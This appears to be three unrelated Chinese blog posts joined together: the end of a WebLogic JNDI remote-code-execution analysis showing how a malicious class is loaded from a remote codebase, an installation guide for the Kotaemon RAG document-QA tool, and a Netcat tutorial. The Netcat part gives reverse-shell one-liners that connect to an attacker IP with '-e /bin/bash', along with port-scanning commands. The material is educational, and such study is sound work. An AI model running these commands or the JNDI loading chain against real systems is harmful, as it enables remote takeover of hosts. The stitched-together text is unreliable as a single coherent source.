        c.rebind("sectest", f);

        // lookup查询ForeignOpaqueReference对象
        try {
            c.lookup("sectest");
        } catch (Exception e) {
        }
    }
}

lookup触发链

OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。
这里有一个lookup进行实例化对象的调用栈
(
从下JNDI_Test的函类开始往上看
)

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)

再往深了讲
getObjectFactoryFromReference
就是最终的
罪魁祸首

其他调用过程就不讲了,有感兴趣可以看参考文章:
https://xz.aliyun.com/t/12297
接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分
其中

  1. clas = helper.loadClass(factoryName);
    尝试从本地加载Factory类
  2. clas = helper.loadClass(factoryName, codebase);
    从远程加载我们恶意class
  3. return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
    最后会返回加载好的class。
  4. 如果你还要看loadClass里面怎么加载的,在参考文章中也有告诉我就是:URLClassLoader来加载我们的恶意类。
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}


至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束。


JNDI+LDAP

同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的。

身为散修就这么生硬的解释,道友莫怪。
感谢看到这里的道友~

1.
背景


qiang~
这两周关注到一个很火的开源文档问答系统
Kotaemon
,从
8

28
日至今短短两周时间,
github
星标迅猛增长
10K
,因此计划深挖一下其中的原理及奥秘。

本篇主要是
Kotaemon
的简介信息,涉及到主要特点,与传统文档
RAG
的区别,如何部署、以及效果演示

后续内容会针对核心模块进行拆解研读,敬请期待
~

2.
简介

Kotaemon
是一个
RAG UI
页面,主要面向
DocQA
的终端用户和构建自己
RAG pipeline
的开发者

2.1
终端用户

1)
提供了一个基于
RAG
问答的简单且最小化的
UI
界面

2)
支持诸多
LLM API
提供商
(

OpenAI, Cohere)
和本地部署的
LLM(

ollama

llama-cpp-python)

2.2
开发者

1)
提供了一个构建
RAG
文档问答
pipeline
的框架

2)
使用
Gradio
开发,基于提供的
UI
可以自定义并查看
RAG pipeline
的运行过程

3.
主要特点

1)
托管自己的
QA Web UI:
支持多用户登录,支持文件私有或公开,支持与他人协助分享

2)
管理
LLM

Embedding
模型
:
支持本地
LLM
和流行的
API
提供商

3)
混合
RAG pipeline:
支持全文本和向量的混合检索,以及
re-ranking
来保障检索质量

4)
支持多模态文档:支持对含有图片及表格的
N
多个文档进行问答,支持多模态文档解析

5)
带有高级引文的文档预览
:
系统默认提供具体的引用信息,保障
LLM
回答的准确性。直接在浏览器内的
PDF
查阅器查看引文,并高亮显示。

6)
支持复杂推理方法:使用问题分解来回答复杂
/
多跳问题。支持使用
ReAct

ReWoo
及其他
Agent
进行推理

7)
可调节的设置
UI
:调整检索和生成过程的参数信息,包括检索过程和推理过程设置

4.
与传统文档
RAG
的区别

(1)

web ui
界面直接
PDF
预览,并通过
LLM
的引用回调方法高亮有关联的句子,极大地有助于仔细检查
LLM
的上下文

(2)
支持复杂推理方法。目标是支持更多的基于
Agent
的推理框架,如问题拆解、多跳问题、
React

ReWoo

(3)
支持在页面配置中更改
prompt
,也可以调整想要使用的检索和推理模块

(4)
扩展性好,基于
gradio
开发,可轻松添加或删除
UI
组件来自定义
RAG pipeline

5.
安装部署

5.1
终端用户

-
可在
github

release
页面下载最新的
kotaemon-app.zip
,并解压缩

-
进入
scripts
,根据系统安装,如
windows
系统双击
run_windows.bat

linux
系统
bash run_linux.sh

-
安装后,程序要求启动
ketem

UI
,回答
”继续”

-
如果启动,会自动在浏览器中打开,默认账户名和密码是
admin/admin

5.2
开发者

5.2.1
使用
Docker
安装推荐

#
运行

docker run -e GRADIO_SERVER_NAME=0.0.0.0 -e GRADIO_SERVER_PORT=7860 -p 7860:7860 -it --rm ghcr.io/cinnamon/kotaemon:latest

#
访问
ui
地址:
http://localhost:7860/

5.2.2
源码安装

#
创建虚拟环境

conda create -n kotaemon python=3.10

conda activate kotaemon

#
下载源码

git clone https://github.com/Cinnamon/kotaemon

cd kotaemon

#
安装依赖

pip install -e "libs/kotaemon[all]"

pip install -e "libs/ktem"

#
更新环境变量文件
.env
,如
API key

# (
可选
)
如果想浏览器内部展示
PDF
,可以下载
PDF_JS viewer
,解压到
libs/ktem/ktem/assets/prebuilt
目录

#
开启
web
服务,并使用
admin/admin
登录

python app.py

5.2.3
应用定制

应用数据默认保存在
./ktem_app_data
文件,如果想要迁移到新机器,只需将该文件夹拷贝即可。

为了高级用户或特殊用途,可以自定义
.env

flowsetting.py
文件

(1)flowsetting.py
设置

#
设置文档存储引擎
(
该引擎支持全文检索
)

KH_DOCSTORE=(Elasticsearch | LanceDB | SimpleFileDocumentStore)

#
设置向量存储引擎
(
支持向量检索
)

KH_VECTORSTORE=(ChromaDB | LanceDB | InMemory)

#
是否启用多模态
QA

KH_REASONINGS_USE_MULTIMODAL=True

#
添加新的推理
pipeline
或修改已有的

KH_REASONINGS = [

"ktem.reasoning.simple.FullQAPipeline",

"ktem.reasoning.simple.FullDecomposeQAPipeline",

"ktem.reasoning.react.ReactAgentPipeline",

"ktem.reasoning.rewoo.RewooAgentPipeline",

]

)

(2).env
设置

该文件提供另一种方式来设置模型和凭据。

#
可以设置
OpenAI
的连接

OPENAI_API_BASE=https://api.openai.com/v1

OPENAI_API_KEY=<your OpenAI API key here>

OPENAI_CHAT_MODEL=gpt-3.5-turbo

OPENAI_EMBEDDINGS_MODEL=text-embedding-ada-002

5.2.4
设置本地
LLM

Embedding
模型

(1)
推荐
Ollama OpenAI
兼容的服务

#
安装
ollama
并启动程序,可参考
https://github.com/ollama/ollama

#
拉取模型

ollama pull llama3.1:8b

ollama pull nomic-embed-text

(2)

Resources
页面中的
LLMs

Embedding
分别设置
LLM

Embedding

api_key: ollama

base_url: http://localhost:11434/v1/

model:
llama3.1:8b
(for llm) | nomic-embed-text (for embedding)

(3)
使用本地模型用于
RAG

1)
将本地
LLM

Embedding
模型设置为
default

2)

File Collection
中的
Embedding
设置为本地模型
(
例如
: ollama

3)

Retrieval Setting
页面,选择本地模型作为
LLM
相关得分模型。如果你的机器无法同时处理大量的
LLM
并行请求,可以不选中

Use LLM relevant scoring

4)
现在就可以上传文件进行文档问答体验了。

6.
效果体验

眼过千遍,不如手过一遍
~


qiang~
采用源码安装部署,使用
openai

LLM
模型
gpt-4o-mini

Embedding
模型
text-embedding-3-small(
如何使用免费版本的
openai
进行
api
体验,可以私信联系
~)
。其次,使用
MindSearch
的论文进行测试验证。

6.1
构建文档索引信息

6.1.1
上传文档

6.1.2
使用
simple
推理策略

simple
推理策略对应的
flowsettings.py
中的
FullQAPipeline
。问题
:
“what are the components of MindSearch?”,效果如下:

6.1.3
使用
complex
推理策略

complex
推理策略对应的
flowsettings.py
中的
FullDecomposeQAPipeline
,即将复杂问题拆分为简单子问题。问题
:
“Please describe the performance of MindSearch on both open-source and closed-source datasets.?”

6.1.4
使用
react
推理策略

React
是一种
RAG Agent
技术,将用户的问题进行计划设计,并迭代循环执行,满足特定结束调节。
React
可以结合工具进行调用,如搜索引擎、
Wiki
百科等。问题:
”Tell me somethong about 'University of Science and Technology of China'”

6.1.5
使用
ReWoo
推理策略

ReWoo
也是一种
RAG Agent
技术,第一阶段制订分步计划,第二阶段解决每个分步,也可以使用工具帮助推理过程,完成所有阶段后,
ReWoo
将总结答案。问题:
”Tell me somethong about 'University of Science and Technology of China' and 'shanghai ai Laboratory '”

6.2
构建
GraphRAG
索引信息

Kotaemon
集成了微软此前开源的
GraphRAG
框架,该框架包含图谱及索引构建、图谱检索等步骤。问题
:

the author

s of this paper

7.
总结

一句话足矣
~

本文主要针对开源文档问答系统
Kotaemon
的介绍,包括主要功能特点,与传统文档
RAG
的区别,部署教程以及效果体验等。

目前
Kotaemon
针对中文语言支持不友好,但既然可以通过
ollama
进行部署
LLM

Embedding
模型,因此支持中文语言也是相对容易开发集成的。

后续系列会针对该框架中的检索和推理模块做一个详细的源码维度分析,敬请期待
~

如果针对部署过程中存在疑问或部署不成功,或者想免费获取使用
openai
的客官,可私信沟通。

如有问题或者想要合作的客官,可私信沟通。

8.
参考

(1)
Kotaemon
仓库
: https://github.com/Cinnamon/kotaemon

在网络安全领域,黑客工具一直备受关注。它们既可以被用于攻击,也可以用于防御。本文将为大家揭秘一款知名的黑客工具:
Netcat

1、Netcat是什么?

Netcat
被誉为“网络的瑞士军刀”,简称为
nc
,是一个功能丰富的网络工具。最早是一个简单的TCP/IP工具,用于在网络上传输数据。随着时间的推移,Netcat逐渐演化成一款功能强大的网络工具,支持多种网络协议,包括 TCP 和 UDP,能够在本地和远程计算机之间传输数据,实现网络连接、数据传输、端口扫描、反向Shell等多种功能。从本质上来说,它就像是一把瑞士军刀,能够在网络环境中执行各种复杂的任务。

2、Netcat主要功能特点

Netcat
被誉为网络安全领域的“瑞士军刀”,具有以下功能、特点:

1. 网络连接

Netcat
可以创建TCP或UDP连接,用于网络通信。无论是简单的聊天程序还是复杂的网络数据传输,Netcat都能轻松应对。通过简单的命令,用户可以在两台计算机之间建立连接,实现数据的实时传输。

2. 数据传输

Netcat
支持文件传输功能,用户可以通过Netcat在两台计算机之间传输文件。这一功能对于网络管理员和黑客来说非常有用,可以方便地在不同计算机之间共享文件。

3. 端口扫描

Netcat
还可以用于端口扫描,帮助用户发现目标计算机上开放的端口。通过扫描特定范围内的端口,用户可以了解目标计算机上运行的服务,进而进行安全评估或漏洞利用。

4. 反向Shell

在渗透测试中,Netcat常被用于创建反向Shell。通过反向连接,目标计算机主动连接到攻击者的计算机,绕过防火墙和NAT等限制,实现远程控制。这一功能对于黑客来说尤为重要,可以大大提高渗透测试的成功率。

5. 加密通信

虽然Netcat本身不提供加密功能,但用户可以通过结合其他工具(如OpenSSL)来实现加密通信。通过加密通信,用户可以保护传输数据的安全性,防止数据被截获或篡改。

3、Netcat适用场景

  • 网络安全测试、渗透测试
    : 在网络安全测试中,Netcat可以用于端口扫描、漏洞评估、渗透测试等多个环节。通过Netcat,测试人员可以全面了解目标系统的安全状况,发现潜在的安全隐患。
  • 系统管理
    : 对于系统管理员来说,Netcat是一款非常实用的工具。它可以用于远程管理计算机,执行shell命令、重启计算机等操作。此外,Netcat还可以用于监控网络流量、调试网络程序等。
  • 黑客攻击
    :虽然黑客攻击是非法行为,但了解黑客工具的使用方法和原理对于提高网络安全意识具有重要意义。Netcat作为黑客常用的工具之一,其强大的功能和灵活性使得它成为黑客攻击中的重要武器。然而,我们强调在合法和道德的前提下使用Netcat等黑客工具。

4、Netcat安装

在大多数
Linux
发行版中,
Netcat
通常已经预装。如果没有安装,可以通过包管理器进行安装。例如,在Debian/Ubuntu系统上,可以使用以下命令安装Netcat:

sudo apt-get update  
sudo apt-get install netcat


macOS
上,可以使用
Homebrew
进行安装:

brew install netcat

5、Netcat使用

Netcat
的基本语法如下:

nc [选项] [目标主机] [目标端口]

选项和参数可以根据具体操作进行调整。

示例一:创建TCP连接

Netcat能够创建任意类型的TCP或UDP连接。这意味着它可以被用来建立一个基本的聊天服务器,一个代理,甚至是一个自定义的协议模拟器。例如,通过使用简单的命令,用户就可以实现TCP端口的监听与数据传输:

1、步骤1:启动监听模式

在一台机器上,打开终端并执行以下命令来启动一个监听服务:

nc -l -p 12345

其中,-l 表示监听模式,-p 12345 指定监听端口为12345。

2、步骤2:连接到监听的主机

在另一台计算机上,使用以下命令连接到监听的主机(假设IP为192.168.1.100):

nc 192.168.1.100 12345

连接成功后,你可以在任一终端中输入文本,另一端会实时显示出来。

示例二:文件传输

Netcat
支持文件传输功能,基本用法:

(1)在发送端运行以下命令,发送文件:

nc -w 2 target_ip port < file.txt

(2)在接收端运行以下命令,接收文件:

nc -lvp port > file.txt

其中,-w参数表示超时时间,port表示端口号,file.txt为要传输的文件。

具体操作:

步骤1:发送文件

在作为监听方的计算机上,使用以下命令准备接收文件:

nc -l -p 12345 > received_file.txt

步骤2:发送文件

在另一台计算机上,使用以下命令发送文件:

nc 192.168.1.100 12345 < file_to_send.txt

其中,file_to_send.txt 是你要发送的文件名。在接收方终端,检查received_file.txt文件,确保文件传输成功。

示例三:端口扫描

端口扫描是网络安全测试的基础。Netcat可以快速扫描目标主机开放的端口,帮助用户发现潜在的安全隐患。以下是一个简单的端口扫描示例:

nc -zv target_ip 1-1000

该命令表示扫描目标IP地址的1-1000端口,-z参数表示仅扫描端口开放情况,不进行完整连接,-v参数表示显示详细信息。

使用以下命令扫描目标主机的端口(例如192.168.1.100):

nc -zv 192.168.1.100 1-1000

其中,-z 表示扫描模式,不发送数据;-v 显示详细信息。扫描结果将显示哪些端口是开放的。

示例四:创建反向Shell

例如,它可以通过以下命令非常简单地创建一个反向Shell:

nc -nv <攻击者IP> <攻击者端口> -e /bin/bash

这种反向Shell常被黑客用于在目标系统上执行任意命令。

步骤1:监听反向Shell

在攻击者的机器上,打开终端并输入:

nc -l -p 4444 -e /bin/bash

步骤2:连接反向Shell

在被攻击者的机器上,输入以下命令:

nc [攻击者IP] 4444 -e /bin/bash

一旦连接成功,攻击者将能够获得被攻击者机器的Shell访问权限。

示例五:远程控制

Netcat可以实现简单的远程控制功能。以下是一个示例:

1、在目标主机上运行以下命令,开启监听:

nc -lvp port

2、在攻击主机上运行以下命令,连接目标主机:

nc target_ip port

连接成功后,攻击主机可以发送命令,控制目标主机。

6、小结

Netcat
作为一款功能强大的网络工具,不仅在网络安全测试中扮演着重要角色,同时也需要被合理使用以防止恶意行为的发生。对于网络安全专业人员而言,深刻理解和掌握Netcat的使用方法,能够在攻防对抗中占据有利位置。

然而,值得强调的是,
Netcat
是一把双刃剑。尽管其强大和灵活,但同样可能被恶意利用。因此,对于网络安全专业人士来说,掌握Netcat的使用技巧既是确保网络安全的重要手段,也是提升自身技能的重要途径。